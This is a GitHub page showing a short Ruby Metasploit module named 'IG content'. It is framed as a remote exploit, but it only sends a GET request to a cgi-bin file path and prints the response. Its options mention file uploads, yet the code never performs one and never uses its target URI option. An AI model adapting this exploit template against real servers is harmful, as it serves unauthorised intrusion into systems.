-
Notifications
You must be signed in to change notification settings - Fork 0
/
2.rb
61 lines (44 loc) · 1.27 KB
/
2.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'IG content',
'Description' => 'Metaploit module for IG content',
'Author' => 'al-fariqy raihan (qywok)',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 80,
},
'Platform' => 'win',
'Targets' => [
['Automatic', {}],
],
'DisclosureDate' => '2023-02-27'
))
register_options([
OptString.new(
'TARGETURI',
[
true, 'The URI path of the file upload script', '/fileupload.php'
]
),
OptString.new(
'UPLOAD_PATH',
[
true, 'The path to the file to upload', '/path/to/file'
]
)
])
end
def exploit
target_response = send_request_cgi({
'method' => 'GET',
'uri' => "http://#{rhost}:#{rport}/cgi-bin/#{datastore['UPLOAD_PATH']}/tugas.pdf",
'ctype' => 'text/plain;'
})
print_good(
target_response.body
)
end
end